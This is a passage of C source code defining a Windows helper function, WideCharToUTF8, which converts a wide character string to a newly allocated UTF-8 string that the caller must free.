	Description:	convert wide string received in input to a UTF-8 encoded LPSTR
	Parameters:		wide string to be converted
	Usage:			the string returned is either NULL or an allocated LPSTR that must be freed by the caller
*/
LPSTR WideCharToUTF8(LPWSTR strIn)
{
	LPSTR strUtf8 = NULL;
	size_t size;

	size = WideCharToMultiByte(CP_UTF8, 0, strIn, -1, NULL, 0, NULL, NULL);
	strUtf8 = (LPSTR) zalloc_s(size);

	if (strUtf8)
	{
		WideCharToMultiByte(CP_UTF8, 0, strIn, -1, strUtf8, size, NULL, NULL);
	}

	return strUtf8;
}